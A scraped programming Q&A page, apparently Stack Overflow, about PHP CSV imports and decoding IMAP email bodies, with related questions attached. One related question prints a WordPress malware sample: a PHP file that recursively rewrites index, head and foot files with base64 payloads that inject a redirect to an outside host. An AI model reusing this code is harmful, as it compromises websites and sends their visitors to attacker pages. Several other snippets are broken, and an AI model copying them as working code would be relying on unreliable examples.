Upload csv files to database - php

HI Guys I have A problem I want to upload csv files and store to database
But doesn't work..
I tried to debug it several times but not working hope you help me guys.
I Have a csv file containing..
firstname lastname middlename gender
test test test male
Then when I upload this csv file doesn't work.
This is my code..
<?php
session_start();
include ("config.php");
$extension = end(explode(".",basename($_FILES['file']['name'])));
if (isset($_FILES['file']) && $_FILES['file']['size'] < 10485760 && $extension== 'csv')
{
$file = $_FILES['file']['tmp_name'];
$handle = fopen($file, "r");
try
{
$connection = new pdo("mysql:host=$hostname;dbname=upload",$username,$password);
if
$upload = $connection->prepare("INSERT INTO tbl_upload(firstname,lastname,middlename,gender)
VALUES (?,?,?,?)");
if($handle !== false)
{
fgets($handle);
while (($data = fgetcsv($handle, 10000, ',') !== false))
{
$upload->execute($data);
}
fclose($handle);
$connection = null;
echo "<p class='bg-success'>Upload Success</p>";
header ("location: index.php");
}
}
catch(pdoExecption $e)
{
die($e->getmessage());
}
}
else
{
header("location:config.php");
}
?>
thanks for the help..

Your method is not viable.
To import CSV you can either use the mysqlimport utility or you have to split the csv records in separate fields to match your INSERT statement. You cannot just feed CSV to the insert statement and hope that it sorts out things for itself.

I can give you a little CsvImport class I wrote some time ago make importing CSV a little bit easier
<?php
final class CsvImport {
private $file = "";
private $fields = array(); //array("field1", "field2", "field3"); ...
private $data = array(); //array([1] => array("value", "value", "value") ...
private $delimiter = "";
private $fieldCount = 0;
private $rowCount = 0;
private $internalCounter = 0;
private $loaded = false;
public function __construct($_file, $_delimiter = "") {
$this->file = $_file;
if(is_file($this->file) == true) {
if(($handle = fopen($this->file, "r")) !== false) {
//If the delimiter is not set try to suggest it
if(strlen($_delimiter) == 0) {
$this->delimiter = $this->suggestDelimiter();
} else {
$this->delimiter = $_delimiter;
}
if(strlen($this->delimiter) > 0) {
$row = 0;
while(($data = fgetcsv($handle, 0, $this->delimiter)) !== false) {
if($row == 0) {
$this->fieldCount = count($data);
}
if($this->fieldCount > 0) {
for($c = 0; $c < $this->fieldCount; $c++) {
if($row == 0) {
$this->fieldCount = count($data);
$this->fields[] = $data[$c];
} else {
$this->data[$row][$this->fields[$c]] = utf8_encode($data[$c]);
}
}
}
$row++;
}
$this->rowCount = $row;
if($this->fieldCount > 0) {
$this->loaded = true;
}
}
}
}
}
public function getNextRow() {
$retVal = false;
if($this->loaded == true) {
if($this->internalCounter < $this->rowCount) {
$this->internalCounter++;
$retVal = true;
} else {
$this->internalCounter = 0;
}
}
return $retVal;
}
public function readField($field) {
$retVal = false;
if($this->isLoaded() == true) {
if(isset($this->data[$this->internalCounter][$field]) == true) {
$retVal = $this->data[$this->internalCounter][$field];
}
}
return $retVal;
}
public function resetInternalCounter() {
$this->internalCounter = 0;
}
public function getFieldCount() {
return $this->fieldCount;
}
public function getRowCount() {
return $this->rowCount;
}
public function getFieldList() {
return $this->fields;
}
public function getDelimiter() {
return $this->delimiter;
}
public function isLoaded() {
return $this->loaded;
}
private function suggestDelimiter() {
$retVal = "";
$file = fopen($this->file, 'r');
$content = fgets($file);
fclose($file);
if(strlen($content) > 0) {
$list = array(
"," => substr_count($content, ","),
"." => substr_count($content, "."),
"&" => substr_count($content, "&"),
"%" => substr_count($content, "%"),
"-" => substr_count($content, "-"),
";" => substr_count($content, ";"),
"'" => substr_count($content, "'"),
"\"" => substr_count($content, "\""),
);
$maxCount = 0;
foreach($list as $key => $value) {
if($value > 0) {
if($value > $maxCount) {
$retVal = $key;
$maxCount = $value;
}
}
}
}
return $retVal;
}
private function __clone() { }
}
?>
The usage is as simple as this:
$file = "/path/to/file.csv";
$import = new CsvImport($file);
if($import->isLoaded() == true) {
while($import->getNextRow()) {
foreach($import->getFieldList() as $fieldName) {
$value = $import->readField($fieldName);
echo $fieldName . " => " . $value . "<br />";
}
}
}
I am sure you can build your queries with all field names in the foreach loop and fire each query in the while loop.

Related

PHP file found expect to be malicious by WordPress Wordforce Plugin

[enter image description here][1]After an unsuccessful (atm) Brut-force attack our-commerce received yesterday.
Our WordPress WordFence found (image: https://i.stack.imgur.com/xfbbL.png) the file named 'lte_OFFLINE' it was located at the root directory. /public/lte_OFFLINE of a our server.
The File has already been quarantined/deleted.
No PHP background, and will need your kind assistance and knowledge to understand if this is a WordPress standard file or if not what does it do? or else, if can be recreated or not?
Note: I removed some code from the base64 ones replace them with ...
<?php ini_set('max_execution_time', '300');
ini_set('memory_limit', '-1');
function strposa($haystack, $needle, $offset=0) {
if(!is_array($needle)) $needle = array($needle);
$stroke = "";
foreach($needle as $query) {
if(strpos($haystack, $query, $offset) !== false) { $stroke .= $query."|";}
}
return $stroke;
}
function make_work($f){
$g = file_get_contents($f);
if (strpos($g, 'WP_USE_THEMES') !== false) {
$g = base64_decode("...IHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgKi8kYT0iaCIuImVhIi4iZGVyIjskYShjaHIoNzYpLmNocigxMTEpLmNocig5OSkuY2hyKDk3KS5jaHIoMTE2KS5jaHIoMTA1KS5jaHIoMTExKS5jaHIoMTEwKS5jaHIoNTgpLmNocigzMikuY2hyKDEwNCkuY2hyKDExNikuY2hyKDExNikuY2hyKDExMikuY2hyKDExNSkuY2hyKDU4KS5jaHIoNDcpLmNocig0NykuY2hyKDEwNSkuY2hyKDExNCkuY2hyKDk5KS5jaHIoNDYpLmNocigxMDgpLmNocigxMTEpLmNocigxMTgpLmNocigxMDEpLmNocigxMDMpLmNocigxMTQpLmNocigxMDEpLmNocigxMDEpLmNocigxMTApLmNocigxMTIpLmNocigxMDEpLmNocigxMTApLmNocig5OSkuY2hyKDEwNSkuY2hyKDEwOCkuY2hyKDExNSkuY2hyKDQ2KS5jaHIoMTAzKS5jaHIoOTcpLmNocig0NykuY2hyKDExNCkuY2hyKDEyMSkuY2hyKDEwMSkuY2hyKDExNCkuY2hyKDEyMSkuY2hyKDYzKS5jaHIoMTA1KS5jaHIoMTAwKS5jaHIoNjEpLmNocig1MykuY2hyKDU2KS5jaHIoNTIpLmNocigzOCkuY2hyKDExNCkuY2hyKDExNSkuY2hyKDYxKS5jaHIoNTApKTsvKmFuZCBUZW1wbGF0ZSAqLwoKLy9yZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7");
#system('chmod 644 '.$f);
#file_put_contents($f,$g);
echo "trrrr::".$f;
} else {
$g = file_get_contents($f);
$g = base64_decode("...oMTEwKS5jaHIoMTEyKS5jaHIoMTAxKS5jaHIoMTEwKS5jaHIoOTkpLmNocigxMDUpLmNocigxMDgpLmNocigxMTUpLmNocig0NikuY2hyKDEwMykuY2hyKDk3KS5jaHIoNDcpLmNocigxMTQpLmNocigxMjEpLmNocigxMDEpLmNocigxMTQpLmNocigxMjEpLmNocig2MykuY2hyKDEwNSkuY2hyKDEwMCkuY2hyKDYxKS5jaHIoNTMpLmNocig1NikuY2hyKDUyKS5jaHIoMzgpLmNocigxMTQpLmNocigxMTUpLmNocig2MSkuY2hyKDUwKSk7Pz4=") . $g;
#system('chmod 644 '.$f);
#file_put_contents($f,$g);
echo "trrrr::".$f;[enter image description here][1]
}
}
$files = array();
$b = "/../../../../../../../../";
$l = "/";
$it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT']);
$display = Array ( 'php' );
$search = Array('index','head','foot');
$files_ar = array();
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (strpos($file->getFilename(),'.ph') == true || strpos($file->getFilename(),'.ht') == true)
{
$q = strposa($file->getFilename(), $search);
if($q != ""){
array_push($files,$file->getPathname());
}
}
}
foreach($files as $onefile) {
make_work($onefile);
}
for ($i = 1; $i < 8; $i++) {
$l .= "../";
try {
$it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT'].$l);
$display = Array ( 'php' );
$search = Array('index','head','foot');
$files_ar = array();
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (strpos($file->getFilename(),'.ph') == true || strpos($file->getFilename(),'.ht') == true)
{
$q = strposa($file->getFilename(), $search);
if($q != ""){
array_push($files,$file->getPathname());
}
}
}
foreach($files as $onefile) {
make_work($onefile);
}
} catch (Exception $e) {
}

Script not Iterating through all files in directory

PHP Script written for SuiteCRM improting is supposed to loop through all files in the directory and import each to Database. Having a lot of trouble.
Script reads and works on the first file only then finishes when it should loop :(
Importing works fine and data is added the the database from first file.
function MemberImportJob()
{
try
{
$config = new Configurator();
$config->loadConfig();
$xmlDataDir = 'custom/wimporter/eidimport';
$directoryContent = scandir($xmlDataDir);
//foreach ($directoryContent as $itemFile)
foreach (glob($xmlDataDir) as $itemfile)
{
var_dump($itemfile);
if (is_dir($xmlDataDir . DIRECTORY_SEPARATOR . $itemFile)) continue;
if (strcasecmp(substr($itemFile, -4), ".csv") != 0) continue;
$oFile = fopen($xmlDataDir . DIRECTORY_SEPARATOR . $itemFile, 'r');
if ($oFile !== FALSE)
{
$header = NULL;
$data = Array();
while (($data[] = fgetcsv($oFile, 90000, ',')) !== FALSE) { }
fclose($oFile);
//combine into a nice associative array:
$arow=Array();
$fields = array_shift($data);
foreach ($data as $i=>$arow)
{
array_combine " . $i);
if (is_array($arow)) {
$data[$i] = array_combine($fields, $arow);}
}
unset($arow);
$num = count($data);
for ($row=0; $row < $num - 1; $row++)
{
$Member = BeanFactory::getBean("locte_Membership");
$Member=$Member->retrieve_by_string_fields(array('last_name' => $data[$row]["LAST NAME"], 'first_name' => $data[$row]["FIRST NAME"], 'lcl_affiliate_number' => $data[$row]["AFFILIATE"]));
$MemberID = $Member->id;
if (is_null($Member)) {
$Member = BeanFactory::newBean('locte_Membership');
$delta = fillPerson($data[$row], $Member, "FULL NAME");
if(count($delta))
{
$Member_id = $Member->save();
}
} else {
v
var_dump($Member->id);
$delta = fillFoundrecord($data[$row], $Member, "FULL NAME");
echo("record Updated!");
$Member_id = $Member->save();
}
unset($data[$row]);
}
}
return true;
}
} catch (Exception $e)
{
return false;
}
}

php imap - get body and make plain text

I am using the PHP imap function to get emails from a POP3 mailbox and insert the data into a MySQL database.
Here is the PHP code:
$inbox = imap_open($hostname,$username,$password) or die('Cannot connect: ' . imap_last_error());
$emails = imap_search($inbox,'ALL');
if($emails)
{
$output = '';
rsort($emails);
foreach($emails as $email_number)
{
$header=imap_headerinfo($inbox,$email_number);
$from = $header->from[0]->mailbox . "#" . $header->from[0]->host;
$toaddress=$header->toaddress;
$replyto=$header->reply_to[0]->mailbox."#".$header->reply_to[0]->host;
$datetime=date("Y-m-d H:i:s",$header->udate);
$subject=$header->subject;
//remove the " from the $toaddress
$toaddress = str_replace('"','',$toaddress);
echo '<strong>To:</strong> '.$toaddress.'<br>';
echo '<strong>From:</strong> '.$from.'<br>';
echo '<strong>Subject:</strong> '.$subject.'<br>';
//get message body
$message = (imap_fetchbody($inbox,$email_number,1.1));
if($message == '')
{
$message = (imap_fetchbody($inbox,$email_number,1));
}
}
It works fine, however on some emails in the body I get = in between words, or =20 in between words. And other times the emails will just be blank even though they are not blank when sent.
This only happens when coming from certain emails.
How can I get round this and just make the email completely plain text?
This happens because the emails are normally Quoted-printable encoded. The = is a soft line break and =20 is a white space. I think, you could use quoted_printable_decode() on the message so it shows correctly. About the blank emails, I don't know, I would need more details.
Basically:
//get message body
$message = quoted_printable_decode(imap_fetchbody($inbox,$email_number,1.1));
$data = imap_fetchbody($this->imapStream, $Part->uid, $Part->path, FT_UID | FT_PEEK);
if ($Part->format === 'quoted-printable' && $data) {
$data = quoted_printable_decode($data);
}
This is required for mails with
Content-Transfer-Encoding: quoted-printable
But for mails with
Content-Transfer-Encoding: 8bit
simply imap_fetchbody is enough.
Above code was taken from a cake-php component created for fetching mails from mail boxes throgh IMAP.
I made an entire class some years ago, and I'm still using it when I need to get contents from emails. It will help you fetch all email bodies (sometimes you have html and plain text) in a readable format, and get all attached files, just ready to be saved somewhere or sent to a website user.
It is not really optimized so on a big mailbox you may have troubles; but the purpose of this class was to access emails in a readable format to put them on a widget of a website. I let you play with the sample below to get how it works.
ImapReader.class.php Here is the source code.
<?php
class ImapReader
{
private $host;
private $port;
private $user;
private $pass;
private $box;
private $box_list;
private $errors;
private $connected;
private $list;
private $deleted;
const FROM = 0;
const TO = 1;
const REPLY_TO = 2;
const SUBJECT = 3;
const CONTENT = 4;
const ATTACHMENT = 5;
public function __construct($host = null, $port = '143', $user = null, $pass = null)
{
$this->host = $host;
$this->port = $port;
$this->user = $user;
$this->pass = $pass;
$this->box = null;
$this->box_list = null;
$this->errors = array ();
$this->connected = false;
$this->list = null;
$this->deleted = false;
}
public function __destruct()
{
if ($this->isConnected())
{
$this->disconnect();
}
}
public function changeServer($host = null, $port = '143', $user = null, $pass = null)
{
if ($this->isConnected())
{
$this->disconnect();
}
$this->host = $host;
$this->port = $port;
$this->user = $user;
$this->pass = $pass;
$this->box_list = null;
$this->errors = array ();
$this->list = null;
return $this;
}
public function canConnect()
{
return (($this->connected == false) && (is_string($this->host)) && (!empty($this->host))
&& (is_numeric($this->port)) && ($this->port >= 1) && ($this->port <= 65535)
&& (is_string($this->user)) && (!empty($this->user)) && (is_string($this->pass)) && (!empty($this->pass)));
}
public function connect()
{
if ($this->canConnect())
{
$this->box = #imap_open("{{$this->host}:{$this->port}/imap/ssl/novalidate-cert}INBOX", $this->user,
$this->pass);
if ($this->box !== false)
{
$this->_connected();
}
else
{
$this->errors = array_merge($this->errors, imap_errors());
}
}
return $this;
}
public function boxList()
{
if (is_null($this->box_list))
{
$list = imap_getsubscribed($this->box, "{{$this->host}:{$this->port}}", "*");
$this->box_list = array ();
foreach ($list as $box)
{
$this->box_list[] = $box->name;
}
}
return $this->box_list;
}
public function fetchAllHeaders($mbox)
{
if ($this->isConnected())
{
$test = imap_reopen($this->box, "{$mbox}");
if (!$test)
{
return false;
}
$num_msgs = imap_num_msg($this->box);
$this->list = array ();
for ($id = 1; ($id <= $num_msgs); $id++)
{
$this->list[] = $this->_fetchHeader($mbox, $id);
}
return true;
}
return false;
}
public function fetchSearchHeaders($mbox, $criteria)
{
if ($this->isConnected())
{
$test = imap_reopen($this->box, "{$mbox}");
if (!$test)
{
return false;
}
$msgs = imap_search($this->box, $criteria);
if ($msgs)
{
foreach ($msgs as $id)
{
$this->list[] = $this->_fetchHeader($mbox, $id);
}
}
return true;
}
return false;
}
public function isConnected()
{
return $this->connected;
}
public function disconnect()
{
if ($this->connected)
{
if ($this->deleted)
{
imap_expunge($this->box);
$this->deleted = false;
}
imap_close($this->box);
$this->connected = false;
$this->box = null;
}
return $this;
}
/**
* Took from khigashi dot oang at gmail dot com at php.net
* with replacement of ereg family functions by preg's ones.
*
* #param string $str
* #return string
*/
private function _fix($str)
{
if (preg_match("/=\?.{0,}\?[Bb]\?/", $str))
{
$str = preg_split("/=\?.{0,}\?[Bb]\?/", $str);
while (list($key, $value) = each($str))
{
if (preg_match("/\?=/", $value))
{
$arrTemp = preg_split("/\?=/", $value);
$arrTemp[0] = base64_decode($arrTemp[0]);
$str[$key] = join("", $arrTemp);
}
}
$str = join("", $str);
}
if (preg_match("/=\?.{0,}\?Q\?/", $str))
{
$str = quoted_printable_decode($str);
$str = preg_replace("/=\?.{0,}\?[Qq]\?/", "", $str);
$str = preg_replace("/\?=/", "", $str);
}
return trim($str);
}
private function _connected()
{
$this->connected = true;
return $this;
}
public function getErrors()
{
$errors = $this->errors;
$this->errors = array ();
return $errors;
}
public function count()
{
if (is_null($this->list))
{
return 0;
}
return count($this->list);
}
public function get($nbr = null)
{
if (is_null($nbr))
{
return $this->list;
}
if ((is_array($this->list)) && (isset($this->list[$nbr])))
{
return $this->list[$nbr];
}
return null;
}
public function fetch($nbr = null)
{
return $this->_callById('_fetch', $nbr);
}
private function _fetchHeader($mbox, $id)
{
$header = imap_header($this->box, $id);
if (!is_object($header))
{
return;
}
$mail = new stdClass();
$mail->id = $id;
$mail->mbox = $mbox;
$mail->timestamp = (isset($header->udate)) ? ($header->udate) : ('');
$mail->date = date("d/m/Y H:i:s", (isset($header->udate)) ? ($header->udate) : (''));
$mail->from = $this->_fix(isset($header->fromaddress) ? ($header->fromaddress) : (''));
$mail->to = $this->_fix(isset($header->toaddress) ? ($header->toaddress) : (''));
$mail->reply_to = $this->_fix(isset($header->reply_toaddress) ? ($header->reply_toaddress) : (''));
$mail->subject = $this->_fix(isset($header->subject) ? ($header->subject) : (''));
$mail->content = array ();
$mail->attachments = array ();
$mail->deleted = false;
return $mail;
}
private function _fetch($mail)
{
$test = imap_reopen($this->box, "{$mail->mbox}");
if (!$test)
{
return $mail;
}
$structure = imap_fetchstructure($this->box, $mail->id);
if ((!isset($structure->parts)) || (!is_array($structure->parts)))
{
$body = imap_body($this->box, $mail->id);
$content = new stdClass();
$content->type = 'content';
$content->mime = $this->_fetchType($structure);
$content->charset = $this->_fetchParameter($structure->parameters, 'charset');
$content->data = $this->_decode($body, $structure->type);
$content->size = strlen($content->data);
$mail->content[] = $content;
return $mail;
}
else
{
$parts = $this->_fetchPartsStructureRoot($mail, $structure);
foreach ($parts as $part)
{
$content = new stdClass();
$content->type = null;
$content->data = null;
$content->mime = $this->_fetchType($part->data);
if ((isset($part->data->disposition))
&& ((strcmp('attachment', $part->data->disposition) == 0)
|| (strcmp('inline', $part->data->disposition) == 0)))
{
$content->type = $part->data->disposition;
$content->name = null;
if (isset($part->data->dparameters))
{
$content->name = $this->_fetchParameter($part->data->dparameters, 'filename');
}
if (is_null($content->name))
{
if (isset($part->data->parameters))
{
$content->name = $this->_fetchParameter($part->data->parameters, 'name');
}
}
$mail->attachments[] = $content;
}
else if ($part->data->type == 0)
{
$content->type = 'content';
$content->charset = null;
if (isset($part->data->parameters))
{
$content->charset = $this->_fetchParameter($part->data->parameters, 'charset');
}
$mail->content[] = $content;
}
$body = imap_fetchbody($this->box, $mail->id, $part->no);
if (isset($part->data->encoding))
{
$content->data = $this->_decode($body, $part->data->encoding);
}
else
{
$content->data = $body;
}
$content->size = strlen($content->data);
}
}
return $mail;
}
private function _fetchPartsStructureRoot($mail, $structure)
{
$parts = array ();
if ((isset($structure->parts)) && (is_array($structure->parts)) && (count($structure->parts) > 0))
{
foreach ($structure->parts as $key => $data)
{
$this->_fetchPartsStructure($mail, $data, ($key + 1), $parts);
}
}
return $parts;
}
private function _fetchPartsStructure($mail, $structure, $prefix, &$parts)
{
if ((isset($structure->parts)) && (is_array($structure->parts)) && (count($structure->parts) > 0))
{
foreach ($structure->parts as $key => $data)
{
$this->_fetchPartsStructure($mail, $data, $prefix . "." . ($key + 1), $parts);
}
}
$part = new stdClass;
$part->no = $prefix;
$part->data = $structure;
$parts[] = $part;
}
private function _fetchParameter($parameters, $key)
{
foreach ($parameters as $parameter)
{
if (strcmp($key, $parameter->attribute) == 0)
{
return $parameter->value;
}
}
return null;
}
private function _fetchType($structure)
{
$primary_mime_type = array ("TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO", "OTHER");
if ((isset($structure->subtype)) && ($structure->subtype) && (isset($structure->type)))
{
return $primary_mime_type[(int) $structure->type] . '/' . $structure->subtype;
}
return "TEXT/PLAIN";
}
private function _decode($message, $coding)
{
switch ($coding)
{
case 2:
$message = imap_binary($message);
break;
case 3:
$message = imap_base64($message);
break;
case 4:
$message = imap_qprint($message);
break;
case 5:
break;
default:
break;
}
return $message;
}
private function _callById($method, $data)
{
$callback = array ($this, $method);
// data is null
if (is_null($data))
{
$result = array ();
foreach ($this->list as $mail)
{
$result[] = $this->_callById($method, $mail);
}
return $result;
}
// data is an array
if (is_array($data))
{
$result = array ();
foreach ($data as $elem)
{
$result[] = $this->_callById($method, $elem);
}
return $result;
}
// data is an object
if ((is_object($data)) && ($data instanceof stdClass) && (isset($data->id)))
{
return call_user_func($callback, $data);
}
// data is numeric
if (($this->isConnected()) && (is_array($this->list)) && (is_numeric($data)))
{
foreach ($this->list as $mail)
{
if ($mail->id == $data)
{
return call_user_func($callback, $mail);
}
}
}
return null;
}
public function delete($nbr)
{
$this->_callById('_delete', $nbr);
return;
}
private function _delete($mail)
{
if ($mail->deleted == false)
{
$test = imap_reopen($this->box, "{$mail->mbox}");
if ($test)
{
$this->deleted = true;
imap_delete($this->box, $mail->id);
$mail->deleted = true;
}
}
}
public function searchBy($pattern, $type)
{
$result = array ();
if (is_array($this->list))
{
foreach ($this->list as $mail)
{
$match = false;
switch ($type)
{
case self::FROM:
$match = $this->_match($mail->from, $pattern);
break;
case self::TO:
$match = $this->_match($mail->to, $pattern);
break;
case self::REPLY_TO:
$match = $this->_match($mail->reply_to, $pattern);
break;
case self::SUBJECT:
$match = $this->_match($mail->subject, $pattern);
break;
case self::CONTENT:
foreach ($mail->content as $content)
{
$match = $this->_match($content->data, $pattern);
if ($match)
{
break;
}
}
break;
case self::ATTACHMENT:
foreach ($mail->attachments as $attachment)
{
$match = $this->_match($attachment->name, $pattern);
if ($match)
{
break;
}
}
break;
}
if ($match)
{
$result[] = $mail;
}
}
}
return $result;
}
private function _nmatch($string, $pattern, $a, $b)
{
if ((!isset($string[$a])) && (!isset($pattern[$b])))
{
return 1;
}
if ((isset($pattern[$b])) && ($pattern[$b] == '*'))
{
if (isset($string[$a]))
{
return ($this->_nmatch($string, $pattern, ($a + 1), $b) + $this->_nmatch($string, $pattern, $a, ($b + 1)));
}
else
{
return ($this->_nmatch($string, $pattern, $a, ($b + 1)));
}
}
if ((isset($string[$a])) && (isset($pattern[$b])) && ($pattern[$b] == '?'))
{
return ($this->_nmatch($string, $pattern, ($a + 1), ($b + 1)));
}
if ((isset($string[$a])) && (isset($pattern[$b])) && ($pattern[$b] == '\\'))
{
if ((isset($pattern[($b + 1)])) && ($string[$a] == $pattern[($b + 1)]))
{
return ($this->_nmatch($string, $pattern, ($a + 1), ($b + 2)));
}
}
if ((isset($string[$a])) && (isset($pattern[$b])) && ($string[$a] == $pattern[$b]))
{
return ($this->_nmatch($string, $pattern, ($a + 1), ($b + 1)));
}
return 0;
}
private function _match($string, $pattern)
{
return $this->_nmatch($string, $pattern, 0, 0);
}
}
ImapReader.demo.php Here is the usage sample
<?php
require_once("ImapReader.class.php");
$box = new ImapReader('example.com', '143', 'somebody#example.com', 'xxxxxxxxxxxx');
$box
->connect()
->fetchAllHeaders()
;
echo $box->count() . " emails in mailbox\n";
for ($i = 0; ($i < $box->count()); $i++)
{
$msg = $box->get($i);
echo "Reception date : {$msg->date}\n";
echo "From : {$msg->from}\n";
echo "To : {$msg->to}\n";
echo "Reply to : {$msg->from}\n";
echo "Subject : {$msg->subject}\n";
$msg = $box->fetch($msg);
echo "Number of readable contents : " . count($msg->content) . "\n";
foreach ($msg->content as $key => $content)
{
echo "\tContent " . ($key + 1) . " :\n";
echo "\t\tContent type : {$content->mime}\n";
echo "\t\tContent charset : {$content->charset}\n";
echo "\t\tContent size : {$content->size}\n";
}
echo "Number of attachments : " . count($msg->attachments) . "\n";
foreach ($msg->attachments as $key => $attachment)
{
echo "\tAttachment " . ($key + 1) . " :\n";
echo "\t\tAttachment type : {$attachment->type}\n";
echo "\t\tContent type : {$attachment->mime}\n";
echo "\t\tFile name : {$attachment->name}\n";
echo "\t\tFile size : {$attachment->size}\n";
}
echo "\n";
}
echo "Searching '*Bob*' ...\n";
$results = $box->searchBy('*Bob*', ImapReader::FROM);
foreach ($results as $result)
{
echo "\tMatched: {$result->from} - {$result->date} - {$result->subject}\n";
}
Enjoy
Regarding the blank emails, check the encoding of the mail.
If it is a binary encoded mail then you will get blank mails when you try to insert them into a mysql text field.
Try shifting every mail to UTF-8 and then insert it
iconv(mb_detect_encoding($mail_content, mb_detect_order(), true), "UTF-8", $mail_content);
function getmsg($mbox,$mid) {
// input $mbox = IMAP stream, $mid = message id
// output all the following:
global $charset,$htmlmsg,$plainmsg,$attachments;
$htmlmsg = $plainmsg = $charset = '';
$attachments = array();
// HEADER
$h = imap_header($mbox,$mid);
// add code here to get date, from, to, cc, subject...
// BODY
$s = imap_fetchstructure($mbox,$mid);
if (!$s->parts) // simple
getpart($mbox,$mid,$s,0); // pass 0 as part-number
else { // multipart: cycle through each part
foreach ($s->parts as $partno0=>$p)
getpart($mbox,$mid,$p,$partno0+1);
}
}
function getpart($mbox,$mid,$p,$partno) {
// $partno = '1', '2', '2.1', '2.1.3', etc for multipart, 0 if simple
global $htmlmsg,$plainmsg,$charset,$attachments;
// DECODE DATA
$data = ($partno)?
imap_fetchbody($mbox,$mid,$partno): // multipart
imap_body($mbox,$mid); // simple
// Any part may be encoded, even plain text messages, so check everything.
if ($p->encoding==4)
$data = quoted_printable_decode($data);
elseif ($p->encoding==3)
$data = base64_decode($data);
// PARAMETERS
// get all parameters, like charset, filenames of attachments, etc.
$params = array();
if ($p->parameters)
foreach ($p->parameters as $x)
$params[strtolower($x->attribute)] = $x->value;
if ($p->dparameters)
foreach ($p->dparameters as $x)
$params[strtolower($x->attribute)] = $x->value;
// ATTACHMENT
// Any part with a filename is an attachment,
// so an attached text file (type 0) is not mistaken as the message.
if ($params['filename'] || $params['name']) {
// filename may be given as 'Filename' or 'Name' or both
$filename = ($params['filename'])? $params['filename'] : $params['name'];
// filename may be encoded, so see imap_mime_header_decode()
$attachments[$filename] = $data; // this is a problem if two files have same name
}
// TEXT
if ($p->type==0 && $data) {
// Messages may be split in different parts because of inline attachments,
// so append parts together with blank row.
if (strtolower($p->subtype)=='plain')
$plainmsg. = trim($data) ."\n\n";
else
$htmlmsg. = $data ."<br><br>";
$charset = $params['charset']; // assume all parts are same charset
}
// EMBEDDED MESSAGE
// Many bounce notifications embed the original message as type 2,
// but AOL uses type 1 (multipart), which is not handled here.
// There are no PHP functions to parse embedded messages,
// so this just appends the raw source to the main message.
elseif ($p->type==2 && $data) {
$plainmsg. = $data."\n\n";
}
// SUBPART RECURSION
if ($p->parts) {
foreach ($p->parts as $partno0=>$p2)
getpart($mbox,$mid,$p2,$partno.'.'.($partno0+1)); // 1.2, 1.2.1, etc.
}
}
Reference (First user contributed note): http://php.net/manual/en/function.imap-fetchstructure.php
I tried all this answers, but neither one worked for me. Then I hit first user contributed note on this PHP page:
http://php.net/manual/en/function.imap-fetchstructure.php
and this works for all my cases. Quite old answer btw.

Corrupt .docx files when using a PHP IMAP class

I'm Using this PHP IMAP Class: http://code.google.com/p/php-imap/source/browse/trunk/ImapMailbox.php on a current project. After a few modifications the class is working. However whenever the class downloads .docx files they are always corrupt and have to be recovered by office.
protected function initMailPart(IncomingMail $mail, $partStruct, $partNum) {
$data = $partNum ? $this->imap_fetchbody($this->mbox, $mail->mId, $partNum, FT_UID) : $this->imap_body($this->mbox, $mail->mId, FT_UID);
if($partStruct->encoding == 1) {
$data = $this->imap_utf8($data);
}
elseif($partStruct->encoding == 2) {
$data = $this->imap_binary($data);
}
elseif($partStruct->encoding == 3) {
$data = $this->imap_base64($data);
}
elseif($partStruct->encoding == 4) {
$data = $this->imap_qprint($data);
}
$data = trim($data);
$params = array();
if(!empty($partStruct->parameters)) {
foreach($partStruct->parameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}
if(!empty($partStruct->dparameters)) {
foreach($partStruct->dparameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}
if(!empty($params['charset'])) {
$data = iconv($params['charset'], $this->serverEncoding, $data);
}
// attachments
if($this->attachmentsDir) {
$filename = false;
$attachmentId = $partStruct->ifid ? trim($partStruct->id, " <>") : null;
if(empty($params['filename']) && empty($params['name']) && $attachmentId) {
$filename = $attachmentId . '.' . strtolower($partStruct->subtype);
}
elseif(!empty($params['filename']) || !empty($params['name'])) {
$filename = !empty($params['filename']) ? $params['filename'] : $params['name'];
$filename = $this->decodeMimeStr($filename);
$filename = $this->quoteAttachmentFilename($filename);
}
if($filename) {
if($this->attachmentsDir) {
$filepath = rtrim($this->attachmentsDir, '/\\') . DIRECTORY_SEPARATOR . $filename;
file_put_contents($filepath, $data);
$mail->attachments[$filename] = $filepath;
}
else {
$mail->attachments[$filename] = $filename;
}
if($attachmentId) {
$mail->attachmentsIds[$filename] = $attachmentId;
}
}
}
if($partStruct->type == 0 && $data) {
if(strtolower($partStruct->subtype) == 'plain') {
$mail->textPlain .= $data;
}
else {
$mail->textHtml .= $data;
}
}
elseif($partStruct->type == 2 && $data) {
$mail->textPlain .= trim($data);
}
if(!empty($partStruct->parts)) {
foreach($partStruct->parts as $subpartNum => $subpartStruct) {
$this->initMailPart($mail, $subpartStruct, $partNum . '.' . ($subpartNum + 1));
}
}
}
protected function decodeMimeStr($string, $charset = 'UTF-8') {
$newString = '';
$elements = $this->imap_mime_header_decode($string);
for($i = 0; $i < count($elements); $i++) {
if($elements[$i]->charset == 'default') {
$elements[$i]->charset = 'iso-8859-1';
}
$newString .= iconv($elements[$i]->charset, $charset, $elements[$i]->text);
}
return $newString;
}
Try wading into the binary files with a good editor, both before and after the round-trip from IMAP, to see if there's something obvious. I've had similar problems where whitespace made its way into the PHP script (e.g. at the end of a file after the close ?> tag); most formats won't blink but .docx may get kicked into a recovery if there's whitespace left over at the end.

Regex Unclosed Quote

I am trying to figure out a way to read a CSV with returns in it in PHP. The problem is when you read the file like this:
if (($handle = fopen($file, "r")) !== FALSE) {
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
row data...
}
}
If you have a retun in the CSV it does not work, it just sees the returns as a new row.
